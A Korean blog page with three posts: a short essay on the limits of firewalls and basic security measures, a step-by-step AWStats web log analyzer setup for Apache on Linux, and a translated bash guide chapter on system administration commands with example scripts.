  방화벽이 완전한 보안을 제공하는 것은 아니다. 방화벽은 단지 인터넷 등의 전산망에서의 보안 격리만을 제공할 뿐이며, 또한 이에 대한 비효율적인 운영과 완전하지않은 정책 채택은 더 문제가 될 수 있다. 방화벽은 단순히 전산망의 기술적인 보안 문제를 해결할 뿐이며, 그 밖에 호스트에서의 보안 문제, 보안 감시, 중앙집중적인 보안 관리, 정책, 교육 등이 총 망라되어야 할 것이다. 집중적으로 보안을 담당할 인력을 보강하고 구체적인 대책과 관리에 신경을 쓴다면 효율적인 대책을 수립할 수 있다.

- 네트워크 보안을 위해 자체적인 방화벽 환경의 구축,
- 각 호스트별 접근 제어로서 TCPWRAPPER 등의 설치,
- 시스템 및 각 응용 프로그램 등의 최신 버젼 패치(Patch),
- 시스템 보안 감시 및 일일 주간 체크리스트의 활용,
- 주기적인 부분/전체 백업,
- 보다 우수한 사용자 인증 방법

등의 채택은 가장 필수적인 보안 기술 대책 요소라고 할 수 있다. 물론 이러한 대책을 지원하는 공개 소프트웨어 도구는 많이 있으며, 또한 담당 인력의 주의와 노력이 요구된다.

Posted by tornado
|

다양한 웹로그 분석 프로그램들이 존재하며, 지금 소개하려고 하는 AWStats 는 GNU GPL 을 따르는 훌륭한 웹 로그 분석 도구이다.

다운로드는 http://awstats.sourceforge.net 에서 받을 수 있다. 공식 사이트에는 apache 와 iis 의 두가지를 설명하고 있지만, 현재 필자가 설치해본 것이 redhat linux 에서 apache 를 사용중인 경우였으므로 이 경우를 예를 들어 설명하기로 하겠다. IIS의 경우도 그리 어렵지 않으니 IIS 유저들은 공식홈페이지의 문서를 참고하도록 하자.

Apache 웹서버 웹서버의 로그가 NCSA combined/XLF/ELF 의 포맷으로 기록되도록 세팅해야 한다. 우선 초기 아파치 세팅시에 특별히 로그포멧을 건드린 기억이 없다면 지금 상태 그대로 두면 된다.

 

시작


아파치 설정파일인 httpd.conf (아마도 /usr/local/apache/conf 정도에 있을거라 생각한다. ) 를 열고, CustomLog 웹서버로그위치 common 이라고 되어있는 부분을 찾는다.

보통 CustomLog /usr/local/apache/logs/access_log common 이런식으로 되어있을것이다.

이 부분을 찾아내서 다음과 같이 수정한다.

 

CustomLog 웹서버로그위치 combined 

(보통 기본값인 위와 같이 CustomLog /usr/local/apache/logs/access_log common  하면 된다)

 

뒤에 붙은 common, combined 등은 httpd.conf 의 CustomLog 부분 바로 위에 LogFormat 이라는 이름으로 설정되어 있는 로그타입 중 하나이다.

만약 자신의 httpd.conf 에 combined 라는 이름으로 정의된 LogFormat 이 없다면 다음과 같이 추가하도록 한다.(보통 다 있다)


LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined

 

한가지 주의해야 할 점은, 기존에 남아있던 로그내용이 현재의 새로 세팅한 로그내용과 달라서 AWStats 를 실행해도 분석할 수 없을 뿐만 아니라 아직 변경된 httpd.conf 의 내용을 웹서버가 읽어들이지 않았으므로

1. 기존의 로그파일을 삭제하고

2. 웹서버를 새로 시작하도록 한다. ( /usr/local/apache/bin/apachectl restart )

 

그리고 나서 브라우저로 웹사이트에 접속한 다음 로그파일(access_log)을 열어보도록 하자.

다음과 같은 식으로 로그가 남으면 AWStats 를 실행할 준비가 끝난 것이다.

 

62.161.78.75 - - [dd/mmm/yyyy:hh:mm:ss +0000] "GET / HTTP/1.1" 200 1234 "http://www.from.com/from.html" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"

 

자신에게 적당한 AWStats 파일을 다운받도록 한다.

awstats-6.1.tgz 를 /usr/local 에 다운받았다고 가정하자.

tar xzvf awstats-6.1.tgz 라고 입력하면, /usr/local/awstats-6.1 이라는 경로 밑으로 파일들이 생성될 것이다.

/usr/local/awstats-6.1/wwwroot/cgi-bin 으로 이동한 다음 awstats.pl, awstats.model.conf 파일과 lang, lib, plugins 서브디렉토리를 웹서버의 cgi-bin 디렉토리( /usr/local/apache/cgi-bin)로 복사한다. 

 

(필자의 경우는 다운받은 다음 압축을 풀었는데 lang 디렉토리가 없었다. 아마 미러링 하는곳에서 압축을 잘못했던가 그랬던거 같다. 그래서 다른파일을 다운받은 다음 lang 디렉토리만 복사해 넣었다. Lang 디렉토리에는 AWStats 의 결과파일 생성시 언어변환 부분이 담겨 있으므로 중요하다. 없으면 다른파일에서라도 추출해서 꼭 복사해 넣도록 하자)

 

그리고 마찬가지로 /usr/local/awstats-6.1/wwwroot/icon 디렉토리에 있는 내용들을 웹문서 루트경로인 /home/계정명디렉토리/public_html/icon 정도에 복사하면 될 것이다.

 

/usr/local/apache/cgi-bin  디렉토리에 있는  awstats.model.conf 파일을 awstats.자기도메인명(myvirtualhostname).conf 으로 하나를 더 만든 후 /usr/local/awstats-6.1/wwwroot/cgi-bin 에 복사한다.

 

awstats.자기도메인명(myvirtualhostname).conf 파일을 열고 다음의 내용을 편집한다.

 

1.LogFile 의 내용을 웹서버의 httpd.conf 에서 설정한 것과 동일하게 셋팅한다.

(위에서 /usr/local/apache/logs/access_log    와 같이 셋팅했다)

2.LogFormat 을 1로 설정한다(기본 1, NCSA apache combined/ELF/XLF로그포맷의 의미)

3.DirIcons 를 위에서 icon 을 복사한 그 경로로 설정해준다.(보통 /icon 으로 셋팅한다) 

4.SiteDomain 을 자신의 웹서버의 도메인명으로 설정해준다. ( mydoman.com 같은식으로 )

5.웹로그 분석내용이 한글로 보길 원하면, Lang 파라메터 부분을 찾아서 Lang="kr"로 수정.

 

그 외에 필요한 부분은 읽어보고 수정을 하면 된다.(더 이상 할거 없당)

설정내용을 보면 웹페이지상에서 웹로그분석을 할 수 있도록 하는 기능을 비롯해서 다양한 부가기능이 있다. 한번씩 시도해 보기 바란다.

 

웹로그로부터 통계파일 생성하기

 

우선 telnet 커맨드상에서 다음과 같이 실행해보도록 하자.

스크립트 1

./awstats.pl -config=myvirtualhostname -update

위의 라인을 실행하기 위해서는 awstats.myvirtualhostname.conf 파일이 있어야 한다. 만약 이 파일이 없으면 awstats.conf 파일을 로딩한다. 그러면 다음과 같은 식의 결과가 출력될 것이다.

 

Lines in file: 225730 Found 5 dropped records, Found 124 corrupted records, Found 0 old records, Found 225601 new records.


다만 방금 로그파일을 삭제했던 사용자라면 로그가 얼마 없으므로 위와 같은 정도의 결과는 나오지 않을 것이다. 위와 같이 수행하면 웹로그파일을 분석한 결과가 텍스트로 cgi-bin 이하에 저장된다.

 

웹로그가 쌓여도 위의 커맨드를 실행하지 않으면 반영되지 않으므로 crontab 등을 이용해서 정기적으로 통계내용을 업데이트 할 수 있도록 한다.

다음은 awstats 의 권고안이다.

- 10,000 visitors a month Launch AWStats once a day

- 50,000 visitors a month Launch AWStats once every 4 hours

- 250,000 visitors a month Launch AWStats once an hour

- 1,000,000 visitors a month Launch AWStats once an hour

 

위 얘기가 이얘기다.    한달에~
- 10,000명의 방문자가 있다면 하루에 한번
- 50,000명의 방문자가 있다면 매 4시간에 한번
- 250,000명의 방문자가 있다면 한시간마다
- 1,000,000명의 방문자가 있다면 한시간마다. 

통계결과 읽기 통계파일을 읽어서 결과물로 html을 생성하도록 한다. 공식문서에는 하나하나 차례대로 만드는 걸 먼저 설명하고 있지만, 그렇게 할 부지런한(?) 독자는 없을거라 생각하고, 아주 게으르고 편리한 방법으로 해보도록 하자.

 

awstats 를 처음 설치한 곳(/usr/local/awstats-6.1/tools/)를 보면 awstats_buildstaticpages.pl 이라는 파일이 있다. 이 펄 스크립트가 귀찮은 처리과정을 한번에 해결해주는 유틸리티이다.

다음과 같이 입력해 보자.

 

스크립트 2

/usr/local/awstats-6.1/tools/awstats_buildstaticpages.pl -config=자기도메인명(myvirtualhostname) -awstatsprog=/usr/local/apache/cgi-bin/awstats.pl -dir=/usr/local/apache/htdocs/stats

 

이와 같이 입력하면 각종 결과들이 /usr/local/apache/htdocs/stats 디렉토리에 만들어진다. (stats 디렉토리는 미리 만들어져 있어야 한다.)

-awstatsprog 는 awstats.pl 이 있는 cgi-bin의 경로이고,

-dir 은 결과가 만들어질 디렉토리이다.

 

하지만 이렇게 하면 스크립트 1 이 수행될때마다 스크립트 2를 수행해야 한다. crontab 에 시간차를 두고 두번 등록할 것인가? 이 또한 깔끔하지 못하다.

이 문제는 단지 스크립트 2 의 뒤에다가 -update 옵션을 붙여주는 것으로 간단히 해결된다.

 

/usr/local/awstats-6.1/tools/awstats_buildstaticpages.pl -config=자기도메인명(myvirtualhostname) -awstatsprog=/usr/local/apache/cgi-bin/awstats.pl -dir=/usr/local/apache/htdocs/stats -update


그리고 바로 위의 내용을 그대로 카피해서 stats.cron 라는 화일로 만들어서 /etc/cron.daily/ 또는 /etc/cron.hourly/에 복사해넣으면 간단하게 해결된다.

 

물론 이렇게 하면 처음에 설정했던 crond 작업(스크립트 1)은 crond 에서 제거해야 불필요한 서비스가 실행되는 것을 막을 수 있을 것이다.

 

이젠 웹브라우저에서 확인만 하면 된다.

awstats.자기도메인명(myvirtualhostname).conf 의 자기도메인명(myvirtualhostname)을 아래에 적용한다.

 

http://나의도메인주소/cgi-bin/awstats.pl?config=자기도메인명(myvirtualhostname 엔터

 

끝이당...^^

 

 

Posted by tornado
|

13장. 시스템과 관리자용 명령어

시스템과 관리자용 명령어의 좋은 예는 /etc/rc.d 에 있는 시작, 종료 스크립트들입니다. 이 명령어들은 보통 시스템 관리나 파일시스템을 긴급하게 고치려고 할 때 루트가 사용합니다. 이들 몇몇은 잘못 쓰면 시스템을 망가트릴 수 있기 때문에 사용에 주의를 요합니다.

사용자와 그룹

chown, chgrp

chown 명령어는 파일의 소유권을 바꿔줍니다. root가 특정 사용자가 소유한 파일을 다른 사용자용으로 바꾸려고 할 때 유용하게 쓰입니다. 하지만, 일반 사용자는 자신이 소유한 파일조차도 소유권을 바꿀 수 없습니다. [1]

root# chown bozo *.txt  

chgrp 명령어는 파일의 그룹 소유권을 바꿔줍니다. 이 명령어를 쓰려면 그 파일의 소유자이고 바꾸려는 그룹의 멤버여야 합니다(혹은 root이거나).

chgrp --recursive dunderheads *.data # $PWD 디렉토리의 모든 하위 디렉토리("recursive"에 의해)의 # 모든 "*.data" 파일들은 "dunderheads" 그룹이 그 소유권을 갖습니다.

useradd, userdel

관리자용 명령어인 useradd는 시스템에 사용자 계정을 추가해 주고 그 사용자용으로 지정된 홈 디렉토리를 만들어 줍니다. useradd와 쌍을 이루는 userdel는 시스템에서 사용자 계정을 삭제해 주고 [2] 해당 파일들도 삭제해 줍니다.

참고: adduser 명령어는 useradd의 동의어로서, 보통 useradd를 가르키는 심볼릭 링크 파일입니다.

id

id 명령어는 현재 사용자의 실제 ID와 유효 사용자 ID, 그룹 ID를 보여줍니다. 내부 bash 변수인 $UID, $EUID, $GROUPS와 짝을 이룹니다.

bash$ id 
uid=501(bozo) gid=501(bozo) groups=501(bozo),22(cdrom),80(cdwriter),81(audio)
bash$ echo $UID 501

예 9-4 참고.

who

시스템에 현재 로그인해 있는 모든 사용자를 보여줍니다.

bash$ who 
bozo tty1 Apr 27 17:45 bozo pts/0 Apr 27 17:46 
bozo pts/1 Apr 27 17:47 bozo pts/2 Apr 27 17:49 

-m을 주면 오직 현재 사용자에 대한 자세한 정보만을 보여줍니다. who am iwho The Man처럼 who에 아무 인자나 두 개 넘겨주면 who -m 이라고 한 것과 같습니다.

bash$ who -m localhost.localdomain!bozo pts/2 Apr 27 17:49 

whoamiwho -m 과 비슷하지만 사용자 이름만 보여줍니다.

bash$ whoami bozo 

w

로그인 되어 있는 사용자와 그 사용자와 관련된 모든 프로세스를 보여 줍니다. 이는 who의 확장 버전인데, w의 출력에 grep으로 파이프를 걸어서 특정한 사용자나 프로세스를 찾을 수 있습니다.

bash$ w | grep startx bozo tty1 - 4:22pm 6:41 4.47s 0.45s startx
logname

현재 사용자의 로그인 이름을 /var/run/utmp에서 찾아서 보여줍니다. 위에서 설명한 whoami와 거의 동일한 명령어입니다.

bash$ logname bozo bash$ whoami bozo

그렇지만...

bash$ su Password: ...... bash# whoami root bash# logname bozo
su

다른 사용자(substitute user)로 프로그램이나 스크립트를 실행 시킵니다. rjones란 사용자로 쉘을 새롭게 시작하고 싶으면 su rjones라고 하면 됩니다. 옵션 없이 su만 실행시키면 기본적으로 root 로 받아들입니다. 예 A-10를 참고하세요.

users

로그인 하고 있는 모든 사용자를 보여줍니다. 이 명령어는 who -q 와 거의 비슷한 명령어입니다.

ac

사용자가 로그인 해 있던 시간을 /var/log/wtmp 에서 읽어서 보여줍니다. 이 명령어는 GNU 계정 유틸리티(accounting utility) 중 하나입니다.

bash$ ac  total 68.08
last

사용자가 마지막으로 로그인 한 시간을 /var/log/wtmp에서 읽어서 보여줍니다. 이 명령어는 외부에서 로그인 한 정보도 보여줄 수 있습니다.

groups

현재 사용자가 속해 있는 그룹을 보여줍니다. 내부 변수인 $GROUPS에 해당하는 명령어이지만 숫자가 아닌 그룹 이름으로 보여줍니다.

bash$ groups bozita cdrom cdwriter audio xgrp 
bash$ echo $GROUPS 501
newgrp

로그아웃 없이 사용자의 그룹 ID를 변경하기. 이 명령어를 쓰면 새 그룹의 파일에 접근할 수 있게 됩니다. 사용자는 보통 동시에 여러 그룹의 멤버이기 때문에 이 명령어를 쓸 일은 별로 없습니다.

터미널

tty

현재 사용자의 터미널 이름을 보여줍니다. 서로 다른 한텀, 엑스텀 윈도우는 서로 다른 터미널로 인식되는것에 주의하세요.

bash$ tty /dev/pts/1
stty

터미널 세팅을 보여주거나 변경해 줍니다. 이 복잡한 명령어는 스크립트에서 쓰여 터미널 동작이나 출력하는 방법을 제어할 수 있습니다. info 페이지를 참고하고, 조심해서 공부하세요.

예 13-1. 지움 글자(erase character) 세팅하기

#!/bin/bash # erase.sh: "stty"로 입력시의 지움 글자(erase character)를 세트하기.
 echo -n "이름이 뭐에요? " 
read name # 아무 글자나 치고 지우려고 해보세요. # 안 될 겁니다. 
echo "이름이 $name 군요." 
stty erase '#' # "hashmark" (#) 를 지움 글자로 세트. 
echo -n "이름이 뭐죠? " 
read name # 마지막에 친 글자를 # 으로 지워보세요. 
echo "$name 가 당신 이름이군요." exit 0

예 13-2. 비밀스런 비밀번호: 터미널 에코 끄기

#!/bin/bash echo echo -n "비밀번호를 넣으세요 " 
read passwd 
echo "비밀번호는 $passwd 입니다." 
echo -n "누군가가 어깨 너머로 당신을 보고 있었다면, " 
echo "당신의 비밀번호를 알아냈을 수도 있습니다." 
echo && echo # "and list"로 묶인 라인 피드 두 줄" 
stty -echo # 화면 에코를 끕니다. echo -n "비밀번호를 다시 넣으세요 " 
read passwd echo echo "비밀번호는 $passwd 입니다." 
echo stty echo # 화면 에코를 킵니다. exit 0

stty를 창조적으로 써서 사용자가 ENTER를 안 눌러도 어떤 키를 눌렀는지를 알아낼 수 있습니다.

예 13-3. 키누름 알아내기

#!/bin/bash # keypress.sh: 키누름 알아내기("hot keyboard"). 
echo old_tty_settings=$(stty -g) # 현재 세팅을 저장. 
stty -icanon Keypress=$(head -c1) # 
GNU 시스템이 아니라면 
# $(dd bs=1 count=1 2> /dev/null) 
echo echo "\""$Keypress"\" 키가 눌렸습니다." 
echo stty "$old_tty_settings" 
# 원래 세팅으로 복구. 
# Thanks, Stephane Chazelas. exit 0

예 9-3 참고.

tset

터미널 세팅을 보여주거나 초기화 함. stty보다 기능이 떨어집니다.

bash$ tset -r Terminal type is xterm-xfree86. Kill is control-U (^U). Interrupt is control-C (^C). 

setserial

시리얼 포트 매개변수를 세트하거나 보여줍니다. 루트로 실행시켜야 하고 보통은 시스템 셋업 스크립트에서 찾을 수 있습니다.

# /etc/pcmcia/serial 스크립트에서 발췌: IRQ=`setserial /dev/$DEVICE | sed -e 's/.*IRQ: //'` setserial /dev/$DEVICE irq 0 ; setserial /dev/$DEVICE irq $IRQ

getty, agetty

터미널용 초기화 프로세스가 gettyagetty를 써서 사용자의 로그인을 설정해 줍니다. 이 명령어들은 사용자의 쉘 스크립트에서 쓰이지 않기 때문에 쉘 스크립트에서 이런 기능을 쓰려면 stty를 쓰기 바랍니다.

mesg

현재 사용자의 터미널에 대한 쓰기 접근을 제어합니다. 접근을 못 하게 설정되면 네트워크에 있는 다른 사용자가 현재 터미널로 write를 하지 못하게 해 줍니다.

작은 정보: 여러분이 텍스트 파일을 편집하고 있는데 갑자기 피자 주문 메세지가 뜨면 아주 짜증날 것입니다. 다중 사용자 네트워크에서는, 방해받기 싫을 때 여러분의 터미널에 대한 쓰기 접근을 막고 싶은 경우가 생길겁니다.

wall

"write all"의 앞글자를 따서 wall이 된 이 명령어는 현재 로그인 되어 있는 모든 사용자에게 메세지를 날립니다. 원래는 유용한 시스템 관리자용 도구입니다. 예를 들어, 시스템에 문제가 생겨서 잠깐 동안 다운 시켜야 할 필요가 생겼을 때 모든 사용자들에게 경고를 할 수 있게 해 줍니다(예 17-2 참고).

bash$ wall System going down for maintenance in 5 minutes! Broadcast message from bozo (pts/1) Sun Jul 8 13:53:27 2001... System going down for maintenance in 5 minutes! 

참고: mesg로 쓰기가 막혀있는 터미널은 wall 메세지를 받을 수 없습니다.

dmesg

시스템 부팅 메세지를 표준출력으로 보여 줍니다. 디버깅 할 때, 어떤 디바이스 드라이버가 설치됐는지 확인할 때, 사용중인 시스템 인터럽트가 무엇인지 확인할 때 편하게 쓸 수 있습니다. 스크립트에서 dmesg의 출력을 grep이나 sed, awk로 파싱해서 쓸 수 있습니다.

정보및 통계

uname

시스템 사양(OS, 커널 버전등)을 표준출력으로 보여줍니다. -a 옵션을 주면 시스템 정보를 아주 자세하게 보여주고(예 12-4 참고), -s 옵션을 주면 OS 종류만 보여줍니다.

bash$ uname -a Linux localhost.localdomain 2.2.15-2.5.0 #1 Sat Feb 5 00:13:43 EST 2000 i686 unknown bash$ uname -s Linux
arch

시스템 아키텍쳐를 보여줍니다. uname -m 과 동일한 명령어입니다. 예 10-24를 참고하세요.

bash$ arch i686 bash$ uname -m i686
lastcomm

/var/account/pacct 파일에 저장돼 있는 이전 명령어들에 대한 정보를 알려줍니다. 옵션으로 명령어와 사용자 이름을 지정해 줄 수 있습니다. 이 명령어는 GNU 계정 유틸리티(accounting utility)중의 하나입니다.

lastlog

시스템의 모든 사용자가 마지막으로 로그인한 시간을 보여줍니다. 이 명령어는 /var/log/lastlog 파일을 참조합니다.

bash$ lastlog root tty1 Fri Dec 7 18:43:21 -0700 2001 bin **Never logged in** daemon **Never logged in** ... bozo tty1 Sat Dec 8 21:14:29 -0700 2001 bash$ lastlog | grep root root tty1 Fri Dec 7 18:43:21 -0700 2001 

경고

/var/log/lastlog 파일에 읽기 퍼미션이 없는 사용자가 이 명령어를 실행시키면 실패합니다.

lsof

현재 열려 있는 파일들을 보여줍니다. 이 명령어는 현재 열려 있는 모든 파일들에 대한 자세한 표와 각각의 파일에 대한 소유자, 크기, 관련 프로세스등의 정보를 보여 줍니다. 당연히, lsof의 출력은 파이프를 통해 grepawk로 넘겨서 파싱해서 분석할 수 있습니다.

bash$ lsof COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME init 1 root mem REG 3,5 30748 30303 /sbin/init init 1 root mem REG 3,5 73120 8069 /lib/ld-2.1.3.so init 1 root mem REG 3,5 931668 8075 /lib/libc-2.1.3.so cardmgr 213 root mem REG 3,5 36956 30357 /sbin/cardmgr ... 

strace

시스템 콜과 시그널을 추적해서 진단하고 디버깅해 주는 도구입니다. 가장 간단하게 실행시키는 방법은 strace COMMAND라고 치는 것입니다.

bash$ strace df execve("/bin/df", ["df"], [/* 45 vars */]) = 0 uname({sys="Linux", node="bozo.localdomain", ...}) = 0 brk(0) = 0x804f5e4 ... 

이 명령어는 리눅스에서의 truss 입니다.

free

메모리와 캐쉬 사용량을 탭이 들어간 형태로 보여줍니다. 이 명령어의 출력은 grep이나, awk, Perl을 써서 파싱하기에 알맞은 형태입니다. procinfo 명령어는 free가 보여주는 정보 이외에 더 많은 정보도 보여줍니다.

bash$ free  total used free shared buffers cached Mem: 30504 28624 1880 15820 1608 16376 -/+ buffers/cache: 10640 19864 Swap: 68540 3128 65412

사용하지 않는 램 용량을 보려면:

bash$ free | grep Mem | awk '{ print $4 }' 1880
procinfo

/proc 가상 파일시스템에서 여러 정보와 통계를 뽑아내서 광범위하고 자세하게 보여 줍니다.

bash$ procinfo | grep Bootup Bootup: Wed Mar 21 15:15:50 2001 Load average: 0.04 0.21 0.34 3/47 6829
lsdev

설치된 하드웨어 디바이스의 목록을 보여줍니다.

bash$ lsdev Device DMA IRQ I/O Ports ------------------------------------------------ cascade 4 2 dma 0080-008f dma1 0000-001f dma2 00c0-00df fpu 00f0-00ff ide0 14 01f0-01f7 03f6-03f6 ... 

du

디스크의 파일 사용량을 재귀적으로 보여줍니다. 특별히 지정하지 않으면 현재 디렉토리에 대해서 동작합니다.

bash$ du -ach 1.0k ./wi.sh 1.0k ./tst.sh 1.0k ./random.file 6.0k . 6.0k total
df

파일시스템 사용량을 탭이 들어간 형태로 보여 줍니다.

bash$ df Filesystem 1k-blocks Used Available Use% Mounted on /dev/hda5 273262 92607 166547 36% / /dev/hda8 222525 123951 87085 59% /home /dev/hda7 1408796 1075744 261488 80% /usr
stat

주어진 파일(디렉토리나 디바이스 파일도)에 대해서 자세한 통계(statistics)를 알려줍니다.

bash$ stat test.cru  File: "test.cru" Size: 49970 Allocated Blocks: 100 Filetype: Regular File Mode: (0664/-rw-rw-r--) Uid: ( 501/ bozo) Gid: ( 501/ bozo) Device: 3,8 Inode: 18185 Links: 1 Access: Sat Jun 2 16:40:24 2001 Modify: Sat Jun 2 16:40:24 2001 Change: Sat Jun 2 16:40:24 2001 

존재하지 않는 파일에 대해서 stat을 실행시키면 에러 메세지를 냅니다.

bash$ stat nonexistent-file nonexistent-file: No such file or directory 

vmstat

가상 메모리(virtual memory) 통계(statistics)를 보여줌.

bash$ vmstat  procs memory swap io system cpu r b w swpd free buff cache si so bi bo in cs us sy id 0 0 0 0 11040 2636 38952 0 0 33 7 271 88 8 3 89 

netstat

라우팅 테이블이나 활성화되어 있는 네트워크 연결같은 네트워크 통계와 정보를 보여 줍니다. 이 유틸리티는 /proc/net(28장)에서 정보를 얻어 옵니다. 예 28-2을 참고하세요.

uptime

시스템이 얼마나 오랫동안 돌고 있었는지 관련 통계와 함께 보여줍니다.

bash$ uptime 10:28pm up 1:57, 3 users, load average: 0.17, 0.34, 0.27
hostname

시스템의 호스트명을 보여줍니다. 이 명령어는 /etc/rc.d 에 들어 있는 셋업 스크립트에서 호스트명을 설정해 줍니다(/etc/rc.d/rc.sysinit이나 비슷한 스크립트). uname -n과 동일한 명령어이고 내부 변수인 $HOSTNAME과 연관이 있습니다.

bash$ hostname localhost.localdomain bash$ echo $HOSTNAME localhost.localdomain
hostid

호스트 머신에 대한 32비트 16진수 구분자를 에코해 줍니다.

bash$ hostid 7f0100

참고: 이 명령어는 특정 시스템에 대해 "유일한"(unique) 시리얼 숫자를 구해줍니다. 몇몇 상업용 제품의 등록 과정에서 이 숫자를 이용해 사용자 라이센스를 만들어 냅니다. 하지만 불행하게도 hostid는 오직 네트워크 주소를 두 바이트 단위로 뒤집어 16진수로 리턴해 줍니다.

네트워크에 물리지 않은 리눅스 머신의 전형적인 네트워크 주소는 /etc/hosts에서 알아낼 수 있습니다.

bash$ cat /etc/hosts 127.0.0.1 localhost.localdomain localhost

공교롭게도 127.0.0.1을 두 바이트 단위로 뒤집으면 0.127.1.0이 되고 이를 16진수로 변환하면 007f0100이 되는데 이는 위에서 살펴본 hostid가 리턴하는 값과 정확히 일치합니다. 결국 동일한 hostid를 갖는 리눅스 머신이 수 백만 개가 존재하게 되는 것입니다.

시스템 로그

logger

사용자가 만들어낸 메세지를 시스템 로그(/var/log/messages)에 추가 시킵니다. 이 명령어는 일반 사용자도 쓸 수 있습니다.

logger Experiencing instability in network connection at 23:10, 05/21. # 자, 이제 'tail /var/log/messages' 라고 해 보세요.

스크립트에 logger 명령어를 넣어서 디버깅 정보를 /var/log/messages에 쓸 수 있습니다.

logger -t $0 -i Logging at line "$LINENO". # "-t" 옵션은 logger 엔트리용 태그를 지정합니다. # "-i" 옵션은 프로세스 ID를 지정합니다. # tail /var/log/message # ... # Jul 7 20:48:58 localhost ./test.sh[1712]: Logging at line 3.

logrotate

이 유틸리티는 시스템 로그 파일들을 적당하게 로테이트 시키고, 압축하고, 지우고, 메일을 보내는 일들을 처리해 줍니다. 보통 crondlogrotate를 가장 기본적인 하루 일과로 삼습니다.

/etc/logrotate.conf에 적당한 내용을 적어주면 시스템 전체 로그뿐만 아니라 개인용 로그 파일을 관리할 수 있습니다.

작업 제어

ps

프로세스 통계(Process Statistics): 현재 실행중인 프로세스들을 사용자와 PID(프로세스 아이디)에 의해서 보여줌. 보통은 ax 옵션을 줘서 부르고, grep이나 sed로 파이프를 걸어서 특정 프로세스를 찾습니다(예 11-8예 28-1 참고).

bash$  ps ax | grep sendmail 295 ? S 0:00 sendmail: accepting connections on port 25
pstree

현재 실행중인 프로세스를 "나무"(tree) 형태로 보여 줍니다. -p 옵션을 주면 프로세스 이름뿐만 아니라 PID까지 보여 줍니다.

top

cpu를 집중적으로 사용하는 프로세스를 중심으로 최신 정보를 계속 보여줍니다. -b 옵션은 결과를 텍스트 모드로 보여주기 때문에 파싱을 하거나 스크립트에서 접근할 수가 있습니다.

bash$ top -b  8:30pm up 3 min, 3 users, load average: 0.49, 0.32, 0.13 45 processes: 44 sleeping, 1 running, 0 zombie, 0 stopped CPU states: 13.6% user, 7.3% system, 0.0% nice, 78.9% idle Mem: 78396K av, 65468K used, 12928K free, 0K shrd, 2352K buff Swap: 157208K av, 0K used, 157208K free 37244K cached PID USER PRI NI SIZE RSS SHARE STAT %CPU %MEM TIME COMMAND 848 bozo 17 0 996 996 800 R 5.6 1.2 0:00 top 1 root 8 0 512 512 444 S 0.0 0.6 0:04 init 2 root 9 0 0 0 0 SW 0.0 0.0 0:00 keventd ... 

nice

백그라운드 작업의 우선순위를 바꿔줍니다. 우선순위는 19(제일 낮음)에서 -20(제일 높음)까지 인데, 오직 root만이 음수(높은) 우선순위를 줄 수 있습니다. 관련 명령어로는 renice, snice, skill이 있습니다.

nohup

사용자가 로그 아웃을 하더라고 명령어가 계속 돌게 해 줍니다. 명령어에 &를 붙여 실행하지 않으면 포그라운드로 실행이 될 것입니다. nohup을 스크립트에서 쓸 때는, 고아 프로세스나 좀비 프로세스가 생기지 않도록 wait과 같이 써야 합니다.

pidof

실행중인 작업의 프로세스 ID(pid)를 식별해 줍니다. kill이나 renice같은 작업 제어 명령어들은 프로세스 이름이 아니라 pid에 대해 동작하기 때문에 종종 pid로 구분할 필요가 생깁니다. pidof 명령어는 내부 변수인 $PPID와 거의 쌍을 이룹니다.

bash$ pidof xclock 880 

예 13-4. pidof 로 프로세스를 죽이기

#!/bin/bash # kill-process.sh NOPROCESS=2 process=xxxyyyzzz # 존재하지 않는 프로세스를 가지고, # 그냥 데모용임... # ... 실제로 돌고 있는 어떤 프로세스도 죽이려고 하는게 아니니까. # # 하지만, 예를 들어 인터넷에서 로그오프하고 싶다면 #+ process=pppd #+ 됩니다. t=`pidof $process` # $process의 pid(프로세스 ID)를 찾고, # 'kill'은 프로그램 이름이 아니라 pid를 쓰기 때문에 if [ -z "$t" ] # 해당 프로세스가 없다면 'pidof'는 널을 리턴함. then echo "$process 는 현재 실행중이 아니므로 그냥 종료합니다." exit $NOPROCESS fi kill $t # 잘 죽지 않는 프로세스라면 'kill -9'라고 해야 할지도 모릅니다. # 죽지 않게 돼 있는 프로세스일수도 있기 때문에 # 다시 한 번 " t=`pidof $process` " 로 확인해 볼 필요가 있습니다. # 위 전체 스크립트는 # kill $(pidof -x process_name) # 이라고 할 수도 있겠으나 그러면 교육적이지는 않은것 같군요. exit 0
fuser

어떤 파일이나, 파일 집합, 디렉토리에 접근하고 있는 프로세스를 PID로 식별해 줍니다. -k 옵션을 쓰면 해당 프로세스를 죽일 수 있습니다. 이 명령어는 시스템 보안 차원에서 아주 흥미로운 구현인데 주로 스크립트에서 쓰여 시스템 서비스에 대해 허가 받지 않은 사용자의 접근을 막는 용도로 쓰입니다.

crond

시스템 관리용 스케쥴러 프로그램으로서, 시스템 로그 파일을 정리하고 지운다거나 slocate 데이타 베이스를 업데이트 하는 등의 일을 해 줍니다. at의 루트 사용자 버전용 명령어입니다(물론, 각 사용자는 crontab 명령어를 써서 자신만의 crontab 파일을 가질수도 있습니다). 데몬으로 돌면서 /etc/crontab의 내용들을 스케쥴에 따라 실행시켜 줍니다.

프로세스 제어및 부팅

init

init 명령어는 모든 프로세스의 부모 프로세스로서, 시스템 부팅 과정의 제일 마지막에 불리면서 /etc/inittab을 읽어서 시스템의 런레벨을 결정합니다. 오직 루트만이 별명인 telinit으로 부를 수 있습니다.

telinit

init를 가르키는 심볼릭링크로서, 시스템 런레벨을 바꿀 때 쓰는데 보통은 시스템 관리나 긴급하게 파일시스템을 수리해야 할 때 씁니다. 오직 루트만 이 명령어를 쓸 수 있습니다. 이 명령어는 아주 위험하기 때문에 쓰기 전에 이 명령어를 잘 이해하고 있어야 합니다!

runlevel

현재와 바로 전의 런레벨을, 시스템이 정지 상태인지(런레벨 0), 단일 사용자 모드인지(1), 다중 사용자 모드인지(23), X 윈도우 모드인지(5), 리부팅 중인지(6)등으로 보여 줍니다. 이 명령어는 /var/run/utmp 파일을 통해 정보를 얻어 옵니다.

halt, shutdown, reboot

보통 시스템 전원을 끄기 전에 시스템을 정지시키는 명령어들.

네트워크

ifconfig

네트워크 인터페이스 설정및 튜닝 유틸리티. 이 명령어는 부팅시 인터페이스를 설정할 때나 리부팅때 인터페이스를 내리기 위해 쓰입니다.

